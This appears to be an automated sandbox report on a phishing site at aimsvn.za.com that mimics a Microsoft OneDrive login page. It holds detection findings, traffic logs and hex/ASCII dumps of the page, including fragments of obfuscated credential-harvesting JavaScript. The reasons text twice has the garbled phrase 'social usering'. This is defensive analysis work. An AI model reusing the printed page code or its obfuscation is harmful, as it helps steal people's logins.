Source: http://aimsvn.za.com	LLM: Score: 9 brands: Microsoft Reasons: The URL 'aimsvn.za.com' does not match the legitimate domain for Microsoft OneDrive, which is 'onedrive.live.com'. The page mimics the appearance of a legitimate Microsoft OneDrive login page, which is a common social usering technique used in phishing attacks. The presence of a login form asking for an email address to access a document is another red flag, as phishing sites often use such forms to harvest credentials. Additionally, the domain 'za.com' is suspicious as it is not associated with Microsoft. The combination of these factors strongly indicates that this is a phishing site. DOM: 0.0.pages.csv
Source: http://aimsvn.za.com	LLM: Score: 9 brands: Microsoft Reasons: The URL 'aimsvn.za.com' does not match the legitimate domain for Microsoft OneDrive, which is 'onedrive.live.com'. The page mimics the appearance of a legitimate Microsoft OneDrive login page, which is a common social usering technique used in phishing attacks. The presence of a login form asking for an email address is another red flag, especially since it is asking for 'specific professional email' which is unusual for legitimate services. Additionally, the domain 'za.com' is not associated with Microsoft, further indicating that this is likely a phishing site. DOM: 0.1.pages.csv

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_68, type: DROPPED

Source: http://aimsvn.za.com/wp-content/themes/musuem/	Matcher: Template: microsoft matched
Source: http://aimsvn.za.com/wp-content/themes/musuem/	Matcher: Template: microsoft matched
Source: http://aimsvn.za.com/wp-content/themes/musuem/	Matcher: Template: microsoft matched

Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: Invalid link: Privacy & Cookies
Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: Invalid link: Privacy & Cookies
Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: Invalid link: Privacy & Cookies

Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No favicon
Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No favicon
Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No favicon

Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No <meta name="author".. found
Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No <meta name="author".. found
Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No <meta name="author".. found

Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No <meta name="copyright".. found
Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No <meta name="copyright".. found
Source: http://aimsvn.za.com/wp-content/themes/musuem/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.114.19
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://aimsvn.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://aimsvn.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://aimsvn.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://aimsvn.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: http://aimsvn.za.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: http://aimsvn.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/ HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/css/share-point.css HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://aimsvn.za.com/wp-content/themes/musuem/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/images/logo.png HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://aimsvn.za.com/wp-content/themes/musuem/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/images/pdf.png HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://aimsvn.za.com/wp-content/themes/musuem/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/images/logo_strip.png HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://aimsvn.za.com/wp-content/themes/musuem/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/images/logo.png HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/images/bg.png HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://aimsvn.za.com/wp-content/themes/musuem/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://aimsvn.za.com/wp-content/themes/musuem/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/images/pdf.png HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/images/logo_strip.png HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/musuem/images/bg.png HTTP/1.1Host: aimsvn.za.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: aimsvn.za.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 10, 2024 00:38:16.152986050 CEST	53	49344	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:16.258544922 CEST	53	51467	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:17.463733912 CEST	53	55798	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.010932922 CEST	58047	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.011178017 CEST	57714	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.022758961 CEST	53	58047	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.023544073 CEST	53	57714	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.886617899 CEST	55799	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.886703968 CEST	52764	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.889314890 CEST	55537	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.889533043 CEST	64424	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.890276909 CEST	54090	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.890407085 CEST	63146	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.891550064 CEST	50539	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.891691923 CEST	55323	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:18.892790079 CEST	53	50136	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.893717051 CEST	53	55799	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.894526005 CEST	53	52764	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.896277905 CEST	53	55537	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.896590948 CEST	53	64424	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.897342920 CEST	53	63146	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.898189068 CEST	53	54090	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.898308992 CEST	53	55855	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.899044037 CEST	53	50539	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:18.902149916 CEST	53	55323	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:19.139482975 CEST	57128	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:19.139791965 CEST	59774	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:19.152707100 CEST	53	59774	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:19.170681953 CEST	53	57128	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:20.019571066 CEST	53	55946	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:20.784084082 CEST	62345	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:20.784084082 CEST	50678	53	192.168.2.6	1.1.1.1
Jun 10, 2024 00:38:20.790949106 CEST	53	50678	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:20.791002989 CEST	53	62345	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:21.009409904 CEST	53	62411	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:34.511027098 CEST	53	52332	1.1.1.1	192.168.2.6
Jun 10, 2024 00:38:53.332986116 CEST	53	58591	1.1.1.1	192.168.2.6
Jun 10, 2024 00:39:15.640053034 CEST	53	50698	1.1.1.1	192.168.2.6
Jun 10, 2024 00:39:16.034240007 CEST	53	60509	1.1.1.1	192.168.2.6
Jun 10, 2024 00:39:44.512429953 CEST	53	65295	1.1.1.1	192.168.2.6

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 00:38:18.033461094 CEST	453	OUT	GET /wp-content/themes/musuem/ HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:18.844865084 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:18 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:45:34 GMT Accept-Ranges: bytes Content-Length: 11781 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 68 61 72 69 6e 67 20 4c 69 6e 6b 20 56 61 6c 69 64 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 20 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 36 30 30 27 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 [TRUNCATED] Data Ascii: <html><head> <meta charset="UTF-8" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no"> <title>Sharing Link Validation</title> <link rel='stylesheet prefetch' href='https://fonts.googleapis.com/css?family=Open+Sans:600'> <link rel="stylesheet" href="css/share-point.css"> ... Bootstrap CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"></head><body style="background-image: url('images/bg.png'); background-size: cover;background-repeat: no-repeat;"> <div id="SharingValidationControlsSection" class="external-sharing-content ms-Fabric"> <div class="top-banner"> <div class="brand-name"><span style="font-family: 'Segoe UI Web (West European)', 'Segoe UI', -apple-system, BlinkMacSystemFont
Jun 10, 2024 00:38:18.844899893 CEST	212	IN	Data Raw: 2c 20 52 6f 62 6f 74 6f 2c 20 27 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 3e 4f 6e 65 64 72 69 76 65 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 Data Ascii: , Roboto, 'Helvetica Neue', sans-serif;">Onedrive</span> </div> </div> <div class="main-content"> <div class="desktop-logo ms-hiddenSm"> <img class="mi
Jun 10, 2024 00:38:18.844935894 CEST	1236	IN	Data Raw: 63 72 6f 73 6f 66 74 2d 6c 6f 67 6f 22 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: crosoft-logo" src="images/logo.png" alt=""> </div> <div class="sharing-form"> <div class="header"> <span style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-syste
Jun 10, 2024 00:38:18.844969034 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 6d 65 73 73 61 67 65 22 20 73 74 79 6c 65 3d 22 66 Data Ascii: <div> <div class="form-message" style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;line-height: 25px"><span>To Receive And
Jun 10, 2024 00:38:18.845005035 CEST	1236	IN	Data Raw: 65 22 3e 3c 2f 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 6c 6c 6f 75 74 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 Data Ascii: e"></i> <div class="callout" style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;"> <di
Jun 10, 2024 00:38:18.845038891 CEST	1236	IN	Data Raw: 65 78 74 2d 64 61 6e 67 65 72 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 54 68 61 74 20 61 63 63 6f 75 6e 74 20 64 6f 65 73 6e 27 74 20 65 78 69 73 74 2e 20 45 6e 74 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 61 Data Ascii: ext-danger" style="display: none;">That account doesn't exist. Enter a different account</span> </center> </div> <div class="form-input-container">
Jun 10, 2024 00:38:18.845072985 CEST	848	IN	Data Raw: 6f 70 70 65 72 2e 6d 69 6e 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 Data Ascii: opper.min.js" ></script> <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.slim.min.js" ></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" ></scr
Jun 10, 2024 00:38:18.845105886 CEST	1236	IN	Data Raw: 33 32 39 31 28 5f 30 78 33 39 37 37 33 35 2c 5f 30 78 35 61 61 65 33 32 29 3b 7d 76 61 72 20 5f 30 78 32 64 65 65 62 63 3d 5f 30 78 33 32 39 31 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 66 33 38 34 64 2c 5f 30 78 33 62 32 30 31 37 29 7b 76 61 Data Ascii: 3291(_0x397735,_0x5aae32);}var _0x2deebc=_0x3291;(function(_0x3f384d,_0x3b2017){var _0x56d29d=_0x3291,_0x3b8df5=_0x3f384d();while(!![]){try{var _0x4fa41a=-parseInt(_0x56d29d(0x181))/0x1*(parseInt(_0x56d29d(0x17a))/0x2)+-parseInt(_0x56d29d(0x17
Jun 10, 2024 00:38:18.845140934 CEST	1236	IN	Data Raw: 29 2c 65 76 65 6e 74 5b 5f 30 78 32 35 38 62 39 31 28 30 78 31 37 64 29 5d 28 29 3b 76 61 72 20 5f 30 78 31 66 63 31 31 66 3d 24 28 27 23 61 69 27 29 5b 5f 30 78 32 35 38 62 39 31 28 30 78 31 39 34 29 5d 28 29 2c 5f 30 78 34 33 31 35 64 62 3d 5f Data Ascii: ),event[_0x258b91(0x17d)]();var _0x1fc11f=$('#ai')[_0x258b91(0x194)](),_0x4315db=_0x1fc11f,_0x382a83=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;if(!_0x1fc11f)return $(_0x258b91(0x197))[_0x258b91(0x19d)](),$(_0x258b91(0x1
Jun 10, 2024 00:38:18.845196962 CEST	1236	IN	Data Raw: 34 37 66 28 30 78 31 38 32 29 5d 28 29 3b 24 28 5f 30 78 31 39 39 34 37 66 28 30 78 31 39 36 29 29 5b 5f 30 78 31 39 39 34 37 66 28 30 78 31 39 34 29 5d 28 5f 30 78 34 33 64 33 38 38 29 2c 24 28 5f 30 78 31 39 39 34 37 66 28 30 78 31 61 32 29 29 Data Ascii: 47f(0x182)]();$(_0x19947f(0x196))[_0x19947f(0x194)](_0x43d388),$(_0x19947f(0x1a2))[_0x19947f(0x183)]();}$(_0x19947f(0x18b))['click'](function(_0x84ec0b){var _0x152fb3=_0x19947f;$(_0x152fb3(0x197))['hide'](),$(_0x152fb3(0x1a2))[_0x152fb3(0x183)
Jun 10, 2024 00:38:18.850187063 CEST	1077	IN	Data Raw: 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 66 30 61 38 61 29 7b 76 61 72 20 5f 30 78 33 36 66 34 34 61 3d 5f 30 78 31 35 32 66 62 33 3b 24 28 27 23 73 75 62 6d 69 74 2d 62 74 6e 27 29 5b 5f 30 78 33 36 66 34 34 61 28 30 78 31 39 31 29 5d 28 5f Data Ascii: ':function(_0x5f0a8a){var _0x36f44a=_0x152fb3;$('#submit-btn')[_0x36f44a(0x191)](_0x36f44a(0x180));},'complete':function(){var _0x24f4aa=_0x152fb3;$('#pr')[_0x24f4aa(0x194)]('');if(_0x17a738>=r_c)return _0x17a738=0x0,window[_0x24f4aa(0x190)]['
Jun 10, 2024 00:38:18.888987064 CEST	382	OUT	GET /wp-content/themes/musuem/css/share-point.css HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Referer: http://aimsvn.za.com/wp-content/themes/musuem/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
